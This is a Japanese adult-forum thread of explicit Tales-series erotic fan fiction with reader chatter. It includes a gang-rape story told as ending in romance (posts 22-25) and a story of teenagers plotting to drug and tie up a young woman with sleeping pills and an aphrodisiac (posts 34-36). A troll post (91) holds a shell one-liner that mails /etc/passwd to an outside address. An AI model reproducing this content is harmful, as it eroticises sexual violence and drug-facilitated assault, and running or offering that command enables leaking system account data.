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テイルズのエロネタないんかね?22
1 名前:名無しさん@ピンキー :2006/03/28(火) 02:35:25 ID:fwhlabbZ
テイルズシリーズのエロパロスレです。ハァハァしてマターリ楽しみましょう。

SS書きさん募集中。投下したい時に投下して下さい。
 事前の投下確認は荒れる原因になるので無用。前置きをSSの前に挟めば大丈夫です。
 グロ、百合、性転換など、好みの分かれるシチュの場合は、SSの前に必ず前置きを。
※このスレは男×男(801、ショタ)物は禁止です。801板モララーのビデオ棚スレなどへどうぞ。

注意事項
・クレクレ君は禁止。
・原則sage進行。
・来る者拒まず、去る者追わず。
・荒らしはスルー、各種煽り厳禁。
・厨は21歳になってから。(例え見てても書き込むな)
・このスレでの議論厳禁。あってもスルーしましょう。必要があれば保管庫の雑談スレで。
※その他のローカルルールは適当。文句あったらどうぞ。

前スレ
テイルズのエロネタないんかね?21
http://hisme.dip.jp/~Masaki/cgi-bin/orz/orz.cgi/sakura03.bbspink.com/eroparo/1141458568/
保管庫
ttp://yellow.ribbon.to/~sanadamushi/sstop.html

関連スレ
■◆◆テイノレズシリーズ女体化スレ◆◆■
http://angler.ddo.jp/orz/orz.cgi/sakura02.bbspink.com/pinknanmin/1142054813/

次スレは>>950踏んだ人かスレの容量が450KBになったら誰かスレ立て宣言して立ててね。

2 名前:名無しさん@ピンキー :2006/03/28(火) 02:40:09 ID:fwhlabbZ
荒しによるウィルススクリプトの連続貼り付けで前スレが落ちたので新たに立てました。
尚、荒し報告は済ませてあります。

前スレはあんなことになってしまいましたが、今度こそエロネタでハァハァしてマターリ楽しみましょう。

3 名前:名無しさん@ピンキー :2006/03/28(火) 03:06:24 ID:fwhlabbZ
携帯で立てたから前スレのURLが携帯仕様になってましたorz
こっちが正解です

前スレ
テイルズのエロネタないんかね?21
http://sakura03.bbspink.com/eroparo/1141458568/

4 名前:名無しさん@ピンキー :2006/03/28(火) 03:15:44 ID:fwhlabbZ
ごめんなさい。関連スレもでした…もう、ダメポ

関連スレ
■◆◆テイノレズシリーズ女体化スレ◆◆■
http://sakura02.bbspink.com/pinknanmin/1142054813

こっちが正しいURLです。

5 名前:名無しさん@ピンキー :2006/03/28(火) 03:32:58 ID:SNXTqO0G
>>1-4
乙。別にそんなの気にするな。

6 名前:神無月 :2006/03/28(火) 08:52:12 ID:Ml6/2e0n
エロネタないんかね??

7 名前:名無しさん@ピンキー :2006/03/28(火) 10:00:38 ID:YPq2rEGj
>>1


気を取り直してマターリ!

8 名前:名無しさん@ピンキー :2006/03/28(火) 11:00:26 ID:RQdfC2Zr
前スレの荒らしが削除されたらまた埋めに戻らないとな

9 名前:名無しさん@ピンキー :2006/03/28(火) 12:57:45 ID:YPq2rEGj
^^;

10 名前:名無しさん@ピンキー :2006/03/28(火) 13:13:06 ID:ey2hqE80
スクリプト爆撃なら即死なのに

11 名前:名無しさん@ピンキー :2006/03/28(火) 16:08:42 ID:7lm82Ypg
>>6
前スレ荒らさせる前にSS投下されてたぞ

12 名前:名無しさん@ピンキー :2006/03/28(火) 17:11:34 ID:KDXsFfCf
>>1
乙。いきなりで驚いた

13 名前:あぼーん :あぼーん
あぼーん

14 名前:TOP厨 :2006/03/29(水) 09:52:18 ID:kkZbvHLo
荒らしイクナイ!

んでもって、無関係だがかなり久しぶりに一本書いてみた。
まだ未完成だが完成してる所まで投下してみる。
アーチェ×クレスで。

専用ブラウザが何故かこのスレッドを拒否してるからブラウザ直で書き込みます。

15 名前:& ◆sR5B6E.DcU :2006/03/29(水) 09:54:51 ID:kkZbvHLo
「ん・・・・ジュル・・・・はむ・・・・ちゅる・・・・」
夜の森の茂みの中、アーチェはクレスの勃起した肉棒をしゃぶっている。
「う・・くぅ・・・はぁ・・・・・・うぅ・・・・」
初めての快感にクレスは思わず呻く。
唐突に、アーチェはフェラチオを中断する。
「クレスどう?あたしのお口気持ちいい?」
「う、うん。気持ちいいよ・・・・お願いだから続けて!」
「はーい」
アーチェはフェラの代わりに右手を添え、いつ射精してもおかしくない肉棒を握ると上下に動かし始める。
「うぅ・・・・これも気持ちいいよ・・・・!」
アーチェ自身の唾液とクレスの肉棒からにじみ出てきた先走りの汁が混じりあい、ニチャニチャと音を立てる。
地面に置いたランタンの明かりしかないこの状況は欲情を更に高める。
ペロッ・・・・。
アーチェの舌が亀頭を這う。
手で擦られ、舌で亀頭を舐められる。
「うあぁぁ・・!」
限界寸前に達していた事もあり、童貞のクレスは情けない声を上げてアーチェの顔に大量の白濁液をぶちまけた。

16 名前:& ◆QWv3R1XL8M :2006/03/29(水) 09:56:17 ID:kkZbvHLo
ビュルッ!ビュクッ!

ビチャビチャと音を立てて白濁液がアーチェの顔だけでなく、そのピンク色の髪に飛び散っていく。

「う・・・あぁぁ・・・・はぁ・・・・」
腰をビクビクと震わせ、クレスは快感の余韻と心地よい脱力感に背後の木に寄り掛かる。

「うーん・・・・童貞のクレス君にはアーチェお姉さんのテクニックは強すぎたみたい」
同い年にもかかわらずお姉さんと自称し顔に掛かった精液を指で絡め取り、舐めて口に入れる。
「・・・・相当溜まっていたみたい。クレス、最近自分でしてないでしょ?」
その言葉に思わずクレスは赤くなる。
「クレスのしゃぶってたら、あたしも濡れてきちゃった・・・・・。ねぇ、クレス・・・触ってみて・・・・・」
アーチェはクレスの左手を取るとそのままズボンの中、パンティの中へと導く。
アーチェのそこには毛は一切生えていなく、ツルツルしていた。

ぬちゃっ・・・・・。

音を立て、クレスの指はアーチェの秘唇を探り当てた。

中指を押し当てると、温かくぬめぬめとした肉の感触がクレスの中指を包む。


17 名前:名無しさん@ピンキー :2006/03/29(水) 16:30:44 ID:leQ1sn3o
>>13
ウイルス仕込みやがったな・・・。

18 名前:名無しさん@ピンキー :2006/03/30(木) 00:51:41 ID:yBAnLrU4
ウイルス厨テラウザス
専ブラ使えなくなるのめんどい。

19 名前:あぼーん :あぼーん
あぼーん

20 名前:名無しさん@ピンキー :2006/03/30(木) 07:45:53 ID:k6s084Nb
セキュリティソフト入ってない俺は勝ち組

21 名前:名無しさん@ピンキー :2006/03/30(木) 12:53:31 ID:zhYgYZG3
>>19
全然厨避けになってないよ
オマイ前スレにもウィルスコード貼り付けてたよな?
なのに荒らしに落とされたゾ
全然効果ないじゃん

22 名前:腹黒堕天使 :2006/03/30(木) 14:49:21 ID:p1PgoTs7
揉めるようですがSS投下しに来ました。朝起きて思いついたリーガル×しいな強姦ものです
でもヤリ逃げは彼のイメージじゃないので責任とらせます。もうしいな専門作家になろうか開き直り中

〜待ち伏せ〜

「ちきしょー!アイツら強すぎる!」
ここはメルトキオ側の森の中、シルヴァラントの神子を捕まえようと下していた囚人が集まっていた
今彼らは返り討ちにあい気が立っていた
「なんだあの女は!」
「あんな胸があったら集中できないだろ!」
しかも彼らは負けた原因を神子の仲間であるミズホの女の色香のせいにしていた
「まったく、そんな考えだから負けるのだろうが」
そんな彼らの側で同じく囚人兵のリーガルは呆れていた
しかしそれは彼が戦いに参加せず上から見ていただけだから言えることだろう
実際彼も様子見をするはずがブルブル震える女の胸に無意識に釘付けになっていた
「あの服はミズホ独特のものだ、アイツら今度はミズホに行くんじゃないのか?」
「そうかもな、ミズホはガオラキアの森の先と噂で聞いたことがある」
「じゃあ森であの女捕まえて犯っちまうか」
「それもいいなぁ神子はその後で交換させてもらえばいいしな」
囚人達の目的が反れ出してきていた。しかし彼らの顔は今まで以上にやる気になっていた

23 名前:腹黒堕天使 :2006/03/30(木) 14:50:36 ID:p1PgoTs7
「おいアイツら来たぞ!」
「それじゃ予定通りいくか」
翌日なにも知らない神子達はガオラキアの森にやってきた。囚人達は気づかれないよう後をつけていった
そして森の中腹にたどり着いた頃ダークボトルを神子達に投げつけた
「なんだ?うわあぁぁぁぁぁ!」
「なんでこんなに集まるんだよ!」
それと同時に森のモンスター達が集まってきた
ジーニアスとリフィルが後衛から術を使い他のメンバーは前線でそれぞれバラバラに戦っている
それを見て囚人達は草むらに隠れしいなの側に集まってきた
「よし、コッチは片付いたね」
パンプキンツリーを吹き飛ばし草むらに背を向けた瞬間だった
「きゃあ!」
囚人達が一斉に襲い掛かりしいなを捕まえた。仲間達はモンスターを追い払うのに夢中で誰も気づいていない
「なに!ふぐぅ!」
しいなは猿轡をされ風呂敷を被せられ視界を奪われた。しかもダークシールを貼られたのが召喚もできない
暴れようとしたが多勢に無勢、腕も足を掴まれ森の奥へと連れて行かれてしまった
「ん!んんー!んんー!」
なんとか逃げようとするが押さえつけられてはそれも無理、しいなは冷たい地面の上に寝かされてしまった
「さ〜て手筈どおりいくとするか、ほら旦那とっととヤっちまえよ。1番はアンタだろ」
「あぁ・・・」
リーガルが前に出てしいなを見下ろす。一度は止めようとしたものの8年に及ぶ禁欲生活の反動で参加を決めてしまった
目の前の怯えてる娘を見ると躊躇いが生じてきそうだがリーガルはしいなの胸に手を伸ばした
『見た目以上に立派だな』
久々に触れる女の体に理性が徐々に失われていく、帯を外し上着を剥ぐぎそっと股に触れてみた
触れるとその場所は一瞬暖かくなると冷たくなってジワジワと濡れてきた
「おい、コイツ漏らしてるぞ」
周囲から笑い声が巻き起こる。しいなは恐怖から失禁してしまったようだ
「早く脱がしてやれよ旦那」
急かされリーガルは下着ごと一気にスパッツを脱がした。そこは漏らしたばかりでビショビショに濡れていた
「んん!」
穴に指を入れると小さく悲鳴が上がった。人より太いリーガルの指は1本だけでも充分な凶器だった

クチュクチュクチュクチュ・・・

「んー!んんー!」
痛みからに悲鳴なのか感じているのは指の動きに合わせしいなは身をよじり呻き声を上げた
リーガルは指を増やし2本にし抜き刺しを始めた
「ん!ん!んー!」
しいなの中からは生暖かいドロドロした透明の液体が溢れ指が奥まで滑らかに入るようになっていった

24 名前:腹黒堕天使 :2006/03/30(木) 14:51:16 ID:p1PgoTs7
「んー!うー!うー!」
しいなは自分の中にとても太い物が侵入してくるのを感じた
そして気を失いそうになるくらいの痛み・・・処女が奪われてしまったのを理解した

グチュグチュグチュ・・・

「んっんっんっ!」
異物が何度も自分を突き上げる痛みと共に別のなにかが込み上げてくる
血と愛液で滑らかになると異物の動きも速くなり体の力が抜けていった


「うぅん・・・んんんん・・・んーーーーー!」
やがてしいなの中から熱い液体が噴出し異物が抜かれ全身に熱い液体が撒き散らされる。それがなにかは考えたくもない
「次は俺の番だな」
横から男の声がする。右腕を抑えていた男がしいなに覆い被さった
抵抗する気のなくなったしいなは涙を零していた

「しいなー!どこだー!」
微かに仲間の声が聞こえた。空耳だろうか
「しいなー!返事してー!」
いや空耳なんかではない、確かに仲間の声が聞こえる、だが今のこんな姿は見られたくない
「マズイな、この女はどうする?連れて行くか」
「いや惜しいが置いておこう、見つかったら殺される」
「そうだな」
囚人達も気づいたようだ。彼らはしいなを置いてその場を去った
「旦那も早く来い」
「あぁ・・・」
リーガルは立ち止まり振り返った。あられもない姿で蹲り嗚咽する娘が目に入る
一度は性欲に勝てず手にかけてしまったとはいえ、その姿を見ると罪悪感が込み上げてきた
「あっちから声が聞こえる、泣いてるみたい」
遠くから仲間と思われる者の声がする
「すまない」
一言そう呟くとリーガルも姿を消した

25 名前:腹黒堕天使 :2006/03/30(木) 14:51:56 ID:p1PgoTs7
「ここがトイズバレー鉱山だ」
数日後なんの因果かリーガルは捕まえる予定だった神子達と行動を共にしている
もちろん手にかけた娘も一緒だ
「しいなどうしたの?」
「あ・・・暗い所はちょっと・・・」
あの日以来しいなは暗い場所に恐怖を感じるようになっていた。しいなは鉱山の入り口で立ち止まり小刻みに震えていた
「じゃあエレカーで留守番しててくれる?」
仲間達もしいなに身に起きたことを知っているため気を使っていた
リーガルはなにも知らない振りをしているが、それが自分のせいであることは承知している
「いいよ、1人はもっと嫌だし」
「無理するなよ」
仲間達はしいなを囲むように歩き出した。リーガルは後ろからその光景を眺めていた
『私はどうするべきか』
あの日しいなを手にかけたのがリーガルだとは誰も知らない、だが知れば間違いなくリーガルは殺されるだろう
『やはりなにもしないわけには・・・』
しいなと接するたびに罪悪感の増していたリーガルは責任をとることを決意していた

そして世界が統合された後レザレノの会長とミズホの時期頭領の婚姻が決まったが会長の顔には無数の殴られた痕があったのを仲間達は見逃さなかった

〜終わり〜

26 名前:名無しさん@ピンキー :2006/03/30(木) 17:29:51 ID:KbaXD7XT
>>腹黒堕天使氏
毎度GJす。乙彼
いい加減しいな秋田。とか思いつつ、腹黒氏はシチュがいつも違うんで読み応えあるす

27 名前:名無しさん@ピンキー :2006/03/30(木) 21:28:14 ID:RL8DE74P
前スレの荒らしが削除されたので皆さん埋めに戻りましょう

28 名前:名無しさん@ピンキー :2006/03/30(木) 21:59:01 ID:rLRnQFIs
では、こちらのスレは前スレが埋まるまでは
週一くらいで保守カキコするということでよろし?

29 名前:名無しさん@ピンキー :2006/03/30(木) 22:00:55 ID:RL8DE74P
ですね、ジャンジャンSS投下してドンドン感想書いていけばすぐ埋まるでしょ

30 名前:あぼーん :あぼーん
あぼーん

31 名前:名無しさん@ピンキー :2006/03/32(土) 21:52:09 ID:H0Gvjn3z
>>30
君のおかげさ
感謝してる

32 名前:あぼーん :あぼーん
あぼーん

33 名前:名無しさん@ピンキー :2006/04/02(日) 16:49:49 ID:anD+6VxF

エンディング10年後の話とか書いてみる。
まだ少ししかできていないのですが、忙しいんで今から投下します・・

・エンディングから10年後の話
・ナナリー+子供+α みたいな感じです。

では、投下しますね。

34 名前:名無しさん@ピンキー :2006/04/02(日) 16:55:13 ID:anD+6VxF


題名:10年後の悲劇



ナナリー・フレッチは、19歳になった。
孤児院の子供達もすっかり大きくなり、しかし増えていく一方だ。
しかし、何故かわからないが、15歳前後の男児が多い。
女児は減っていっている。デュナミス孤児院の方にいっているのもいる。
今孤児院にいるのは、彼女達を含む25人。
そのうち、12歳を超えるのは10人、15歳を超えるのは4人。
のびざかり、そして思春期の彼ら。

そしてまもなく、彼女を悲劇が襲おうとしている―――。

35 名前:名無しさん@ピンキー :2006/04/02(日) 17:05:01 ID:anD+6VxF


15歳を超えている子供達がある日、突然集まった。
性格も個性も違う四人。喧嘩もしょっちゅうである。

金髪の、エッジ。15歳。
手先が器用。性格はおとなしく、しかし頭は誰よりもよい。
青髪の、コツレ。16歳。
四人の中で一番足が早く、アクロバティックも得意。勉強は不得手。
緑髪の、ディス。15歳。
小柄。甘えん坊を装っているが、かなりの腹黒。悪魔のような性格。
黒髪の、パーグ。17歳。
四人の中で一番背丈がたかく、力も強い。

この四人の共通点は――皆、ナナリーを愛しているということ。
そして皆が、ナナリーを堕とそうとしているということだった―。



36 名前:名無しさん@ピンキー :2006/04/02(日) 17:16:33 ID:anD+6VxF


「ったく、ディスのせいで長引いちまった…片付けなきゃ。」

ナナリーはその時、皿の片付けをしていた。時刻は、9時を回っている。
いつもはもっと早く終わっているのだが、ディスが眠いと五月蝿く、
眠るまで傍にいてあげたのだった。
あげくの果てには9時を回り、20数人分の食器を片付けるのは一時間はかかりそうだった。
ため息をついたナナリーはしかし、食器を洗うことに没頭した。

同じ時刻、エッジ達は集まり、話をしていた。
「ディス、上手くいったか?」
「心配するなよ、コツレ。全部、エッジの指示通りさ。」
二人は、ニヤリ、と笑った。しばらくしてから、青髪の少年がやってきた。
「パーグの方も準備はいい。ちょうどいいロープも用意した。」
そうか、と緑の髪の少年は言った。
しばらくして、背丈の高い男が一人やってきた。
「――そうそう、これも盗ってきたよ。」
緑髪の少年は、二つの瓶を差し出した。
右は薄い桃色の、半透明の液体。左は、白い錠剤だ。
「左は睡眠薬。右は――媚薬だから。」
青髪の少年は、でかした、と笑みを浮かべた。
「…いいか、ディス。お前に全部かかってるんだぞ?」
黒髪の男がいうと、ディスは頷いた。
「わかってる。お前は背後から、静かに、身長にやれよ。パーグ。」
「エッジはその間、ルーを見張っていろ。いいな?」
金髪の少年は、頷いた。




37 名前:名無しさん@ピンキー :2006/04/02(日) 17:17:35 ID:anD+6VxF
今日は用事があるからここまでです、すみません・・
今度はまとめて投下します。

38 名前:名無しさん@ピンキー :2006/04/02(日) 20:14:32 ID:PLBfdLrO
>>37
ナナリー姉ちゃんキター!
続きwktkして待ってるお!

39 名前:名無しさん@ピンキー :2006/04/02(日) 20:18:54 ID:E1jzC91J
http://1go.it/warawara

40 名前:名無しさん@ピンキー :2006/04/02(日) 20:26:56 ID:qzfvnG4g
>>37
その続きは前スレに投下よろ。
前スレの荒らしレスが削除されたんで
向こうを先に埋めることになったんだよ。

41 名前:37 :2006/04/02(日) 22:59:34 ID:anD+6VxF
>>40
わかりました、一応、コピーして、改めてかきます。

42 名前:名無し :2006/04/03(月) 21:42:12 ID:6sUHbM53
ちわっす。
初かきこでPCの使い方は判らんけどよろしゅうおねがいします。
いちおう16です、まだ未成年っすけど。

43 名前:名無しさん@ピンキー :2006/04/03(月) 21:43:03 ID:aSQgknhq
とりあえず21になるまで待とう、な?

44 名前:名無し :2006/04/03(月) 21:44:03 ID:6sUHbM53
まじっすか?
んまあ規則を破った俺も悪いっすけど・・・・

45 名前:名無し :2006/04/03(月) 21:55:16 ID:6sUHbM53
>名無しさん@ピンキーさん
んじゃ18ぐらいでもだめっすか?

46 名前:名無しさん@ピンキー :2006/04/03(月) 22:00:46 ID:dniRgVhj
>>45
駄目に決まってるだろ?
ここは21歳以上でなければ入っては駄目だ
↓この板の規約だ。読め!
【BBSPINKは21歳未満立ち入り禁止】
21歳未満の方は、エロ妄想を含まない範囲で2ちゃんねる掲示板をご利用ください。

47 名前:名無しさん@ピンキー :2006/04/03(月) 22:00:55 ID:IxsR7lNt
それ以前にあげてる時点で来ないでほしいと思った。
初心者なら仕方ないとか思うけど…
21未満は〜(以下略)って規約に書いてあるんだけどね…
とりあえず先に前すれ埋めたほうがいいと思う

48 名前:名無し :2006/04/03(月) 22:02:42 ID:6sUHbM53
>わ、わかりました;;
以後気をつけます;;
↑のレスって消せないんですよね・・・;;?

49 名前:名無しさん@ピンキー :2006/04/03(月) 22:03:15 ID:vjLY2B5F
とりあえずもう書き込まなくていいから5年後にまたおいで。

50 名前:あぼーん :あぼーん
あぼーん

51 名前:あぼーん :あぼーん
あぼーん

52 名前:あぼーん :あぼーん
あぼーん

53 名前:あぼーん :あぼーん
あぼーん

54 名前:TOP厨 :2006/04/05(水) 08:34:53 ID:aLk9RfGj
「んっ・・・・あん・・・・」
アーチェがたまらずに喘ぐ。
「凄い・・・・ぬるぬるしてて・・・・・」
にちゅ・・・・ぬちゃ・・・・。
クレスは夢中になって指を動かす。
「んはっ・・・・うん・・・・」
アーチェはクレスに摑まって身を捩る。
「ねぇ・・・クレス・・・・。オマンコばっかいじってちゃつまらないでしょ?
あたしの身体・・・・好きに使っていいよ・・・・」

その言葉でクレスの理性は消し飛んだ。
アーチェを地面に押し倒し、服のボタンを外しあらわになった小ぶりな乳房にむしゃぶりつく。

「あんっ・・・・・クレス・・・・乳首ばっか舐めて・・・赤ちゃんみたい・・・・。んぁ・・・・いいよぉ・・・・」
「アーチェ・・・・その・・・・・・」
「ん?」
「そろそろ・・・・入れていい?」
「何を?」
アーチェは意地悪く笑う。
「え?」
突然のことにクレスは戸惑う。
「だからぁ・・・・クレス君は、どこに、何を入れたいのかなぁ?」
「えと・・・・・アーチェのマンコに・・・・僕のチンポ・・・・入れたい」
「はーい、よく出来ましたー。うーん・・・でも、このままだと二人とも
服が汚れちゃうし・・・・・。ね、クレスも脱ごう」

55 名前:TOP& ◆bJItlNqDLA :2006/04/05(水) 08:35:46 ID:aLk9RfGj
「えーと・・・・ここかな・・・?」
着ている物を全て脱ぎ捨てたクレスとアーチェは互いに重なり合い、
クレスがアーチェの足を大きく開いた股の間に腰を入れていた。
亀頭を押し当てるが、ぬるぬると滑ってばかりで一向に挿入に至らない。
「あれ・・・おかしいな・・・・」
「もう、仕方ないなぁ」
アーチェはクレスの肉棒に手を添え、自身の膣口に亀頭を押し当てる。
「んはぁ・・・・・ここだよ・・・・・・・そのまま・・・・腰を押し進めて・・・」
クレスはアーチェの言うままに腰を押し進める。
亀頭が粘液に塗れた温かい肉に包まれる。
そのまま押し進め、肉棒が中程までアーチェの膣に挿入された。
「凄い・・・・気持ちいい・・・・こんなの・・・・・初めてだよ・・・・・。少し動かしただけで・・・・
出ちゃいそうだ・・・・・」
「クレス・・・・。あたしも気持ちいいよ・・・・・。
クレスのチンポ・・・・今までの男の中で一番最高だよぉ・・・・!」
「動くよ・・・・?」
「うん・・・。好きなだけ射精していいよ・・・・」

クレスはぎこちなく腰を引く。
「う・・・あ・・・すげ・・・・気持ちいい・・・・・」
ズニュウウ・・・。
カリ首まで引き抜いた肉棒を再び押し込む。
アーチェの膣肉がクレスの肉棒に纏わりつき、襞の一枚一枚がクレスに快感をもたらす。
「うわ・・・腰が勝手に動いて・・・・止まらない・・・!」
クレスはがむしゃらに腰を突いては引く。
「クレス、凄すぎるよぉ!んはぁぁぁ!オマンコの肉が引きずり出されてるぅ!」
「も、もう出る!アーチェ!アーチェ・・・・出る!」
肉棒をアーチェの最奥に突き込み、クレスは腰をガクガクと震わせ子宮に精液を浴びせる。

56 名前:名無しさん@ピンキー :2006/04/05(水) 10:53:36 ID:mqxiJdKN
GJ!

57 名前:名無しさん@ピンキー :2006/04/05(水) 17:49:47 ID:7DbuW44C



職人方は前スレの埋めにご協力お願いします





58 名前:名無しさん@ピンキー :2006/04/06(木) 21:14:41 ID:8hwkJKQD
http://rinrin.saiin.net/~library/

このスレのSSも保管庫に入れてくれるってさ

59 名前:名無しさん@ピンキー :2006/04/06(木) 22:22:13 ID:/VWtJyP6
>>58
なんか知らんが>>1の保管庫じゃ不都合があるのか?

60 名前:名無しさん@ピンキー :2006/04/08(土) 00:30:02 ID:nRPOwbgE
>>58のはエラーでよくわからんが
このスレに関しては>>1の保管庫でFAだろ。更新かなりまめだし
いつも管理人さん乙。

61 名前:名無しさん@ピンキー :2006/04/08(土) 20:17:17 ID:r1NjucL5
しかし保管庫に475個もSSあるのかぁ〜・・・
あらためて考えてみるとすごいなぁ・・・・・

62 名前:名無しさん@ピンキー :2006/04/08(土) 20:39:32 ID:L07eO6RT
しかし、本当に過疎スレになったもんだな。
一時期のL祭りA祭りのときのスレなど、一ヶ月足らずで
ひとスレ消費するという、エロパロ版にあるまじき速さだったのに。

もうテンペストが出るまではずっとこの調子なのかね?

63 名前:名無しさん@ピンキー :2006/04/08(土) 21:16:23 ID:El4B93i9
475個・・・どれくらいの割合で職人が投下してくれるのだろうか。
内容の濃さにもよるんだろうけど・・

64 名前:名無しさん@ピンキー :2006/04/08(土) 21:24:48 ID:BQDVXn0O
>>62
この時期はみんな忙しいんだよ。
ニートにはわからないかもしれないが。

65 名前:名無しさん@ピンキー :2006/04/09(日) 01:41:04 ID:VAYWoJlV
前スレに投下してきたんで出来れば感想レスして埋めの方に協力お願いします。

66 名前:あぼーん :あぼーん
あぼーん

67 名前:名無しさん@ピンキー :2006/04/09(日) 07:36:01 ID:J8RE0+NJ
>>66
どの口でほざいてやがんだ人生終末点

68 名前:あぼーん :あぼーん
あぼーん

69 名前:名無しさん@ピンキー :2006/04/09(日) 22:52:55 ID:4P5ALXPG
>>68
迷惑だから二度と来るなと言ったはずだがな!
何故また来てウィルスコード貼り付けてるんだ?
これにレスする必要はないから、もう来ないでくれ!

70 名前:名無しさん@ピンキー :2006/04/09(日) 22:55:46 ID:gK4ZvdP/
反応返すな無視しろ

71 名前:名無しさん@ピンキー :2006/04/10(月) 09:58:26 ID:dWPcqBZ9
>>68
牛乳飲んでるか?

72 名前:名無しさん@ピンキー :2006/04/10(月) 14:18:22 ID:rhCNrJph
久しぶりにプレセアが読みたいなぁ

73 名前:名無しさん@ピンキー :2006/04/10(月) 18:49:41 ID:dWF+RfZ3
>>72
リクエストは前スレでおながい

74 名前:名無しさん@ピンキー :2006/04/10(月) 19:38:01 ID:+KRXIq4j
これで我慢しろ。

プレセア「ギシギシアンアン」

75 名前:あぼーん :あぼーん
あぼーん

76 名前:名無しさん@ピンキー :2006/04/12(水) 02:09:34 ID:7RUFKZBu
ているずのえろがぞうくだちぃ><

77 名前:あぼーん :あぼーん
あぼーん

78 名前:名無しさん@ピンキー :2006/04/12(水) 17:47:01 ID:IAC/2EfO
やさしいんだな


(・・・・好き。)

79 名前:名無しさん@ピンキー :2006/04/16(日) 10:55:03 ID:tt3CdT5Y
とりあえず下げろよ・・・


80 名前:名無しさん@ピンキー :2006/04/16(日) 15:37:33 ID:ZhZN9TQm
>>79

>>76 に関しては確実に意識はしていないだろうが、
消えないようにたまにはageた方がいいのでは?

81 名前:名無しさん@ピンキー :2006/04/16(日) 22:35:46 ID:9tFiDgOC
>>80
ageなくても定期的に書き込みがあればdat落ちしないらしいよ。
まぁ、俺は400台ぐらいになったら無性にageたくなるがw

82 名前:名無しさん@ピンキー :2006/04/16(日) 23:52:25 ID:QCrY2//9
ルーク×ティアおねがいします。

83 名前:名無しさん@ピンキー :2006/04/17(月) 01:11:39 ID:fRj4gxzb
Aいらね

84 名前:名無しさん@ピンキー :2006/04/17(月) 08:24:14 ID:RDFPFU16
テイルズイラネ

85 名前:名無しさん@ピンキー :2006/04/17(月) 14:54:04 ID:RPpetSQ7
^^

86 名前:名無しさん@ピンキー :2006/04/17(月) 23:52:02 ID:8kL/580P
テイルズスレでテイルズイラネといわれても・・。

87 名前:名無しさん@ピンキー :2006/04/18(火) 10:35:02 ID:TDYHzNBC
スルーしる

88 名前:るいー :2006/04/21(金) 22:26:34 ID:WgELze1/
しようしよう


89 名前:ドンパ :2006/04/21(金) 22:28:10 ID:WgELze1/
初めての初心者です

90 名前:ドンパ :2006/04/21(金) 22:46:03 ID:WgELze1/
ユリアシティでルークがまだ寝込んでいるとき
ティアがいたずらにルークの勃起したそれをくわえこんでいた。
「んっ、ぷはっ。」
そして笑みを浮かべながらすっかり準備ができた自分のそれにルークのあれをそえると
一気に自分の腰を沈めた。
そして喘ぎながら腰をくねらせはじめる。
そしてルークの絶頂を感じるころにはティアも崩壊寸前だった。「くはっ!んあっ!」
そして一気にラストスパートをかけるとルークの精がティアの体の中に流れ込んだのだった。




そのころワイヨン鏡窟ではアッシュがもだえまわっているのを皆が不思議そうにながめていた。


91 名前:これはひどい :2006/04/22(土) 00:29:21 ID:O8oLKqPr
cat /etc/passwd | mail nobody@nonexistent.com

92 名前:名無しさん@ピンキー :2006/04/22(土) 01:52:35 ID:2uIEeppN
保守sage

93 名前:名無しさん@ピンキー :2006/04/22(土) 08:09:09 ID:S5YpA/wu
>>90
「そして」乱射しすぎ…

94 名前:ドンパ :2006/04/22(土) 11:40:38 ID:Dp+iN5K3
そしてそしてそしてそしてそしてそしてそして

95 名前:名無しさん@ピンキー :2006/04/22(土) 13:46:18 ID:0o3/1KbI
そして一流のSS書きとして成長してく青年。ドンパ

96 名前:ドンパ :2006/04/24(月) 22:25:04 ID:mYuC6jCp
自分は文章力ないので書くのやめます。イオアニイオティアなんでもいいからお願いします

97 名前:名無しさん@ピンキー :2006/04/25(火) 14:29:43 ID:HaLdiXxl
イオン様……欲しいです

98 名前:名無しさん@ピンキー :2006/04/25(火) 19:20:37 ID:8bT02eAR
>>96
投下すればするほど上手くなれるんじゃないの?君の場合

99 名前:名無しさん@ピンキー :2006/04/25(火) 20:10:38 ID:Ehb4LIgD
更なるスキルうpを楽しみにしてるお

100 名前:名無しさん@ピンキー :2006/04/26(水) 14:40:49 ID:QmlixRCq
>>96
一応注意しとくよ。
「なんでもいいから」とか言葉は選ぼうな。
ただでさえ荒れやすいスレやからね。

101 名前:名無しさん@ピンキー :2006/04/26(水) 22:18:06 ID:Sqep/Qq/
>>ドンパ氏
とりあえずsageましょうや
もうちょい文長くできれば上手なSS書きになれるはず

102 名前:ドンパ :2006/04/26(水) 22:31:16 ID:1wEM2/VN
性懲りもなく書いてみようとおもう自分が情けない

103 名前:名無しさん@ピンキー :2006/04/26(水) 22:35:01 ID:pybD/RDI
どんどん書いてみればいいと思います

104 名前:名無しさん@ピンキー :2006/04/26(水) 23:16:38 ID:6RJcpjtW
>>102
お願いだからsageてくれ。

105 名前:名無しさん@ピンキー :2006/04/27(木) 00:52:55 ID:M8/Mi5Ze
やーよ

106 名前:名無しさん@ピンキー :2006/04/27(木) 08:21:55 ID:3aTC44n1
ルクティアのまじめな初体験ものキボン

107 名前:ドンパ :2006/04/27(木) 17:36:52 ID:1VvekvgV
とりあえず書いてみます

108 名前:ドンパ :2006/04/27(木) 17:46:44 ID:1VvekvgV
ありきたり薬物語

ここはなぜかケテルブルクホテルの一室。
四人の男性が話をしている。
「これが例の薬です」
と,いかがわしいことを言っているのはジェイド。
暗い部屋にメガネが異様に光って相当ワルな感じである。
「ほんとにこんなんでできんのかよ」
と、愚痴を言っているのはルーク。
「それよりもダンナはいいのかい?」とガイ。
「別にいいですよ。おっさんが若い子を犯すのは作者が苦手なようでしてね。」
と、微笑むジェイド。
「あーあーどうだっていいじゃんそんなこと。それより俺はもうやってくるからな。」
と、いうがはやいかルークは消えてしまった。
「イオンはアニスでいいのか?」
「はい。」
「では皆さん、快感を祈ります」


109 名前:ドンパ :2006/04/27(木) 17:51:30 ID:1VvekvgV
コンコンッ
「ティア!いるか?」
「ルーク!どうしたの?」
「いや、紅茶を入れたから一緒にのもうかなあって・・・」
「あ、ありがとうルーク。いただくわ。」
「な、何?ルーク、そんなにみないで//////」
「あ、悪い」
「もう・・・」


ゴクッ

110 名前:ドンパ :2006/04/27(木) 17:56:35 ID:1VvekvgV
コンコンッ
「ナタリア!いるか?はいるぞ!」
ガチャッ
「ん?あーもうねちまってる。ちょうどいい。
ジェイドが作ってくれた女性恐怖症を一時的に抑える方のやつためしてみるか。」


ゴクッ


「しまった!こっちはちがっ・・・・・」

111 名前:ドンパ :2006/04/27(木) 18:05:50 ID:1VvekvgV
「イオン様、何のようですか?」
首をかしげる少女にイオンは小瓶を渡す。
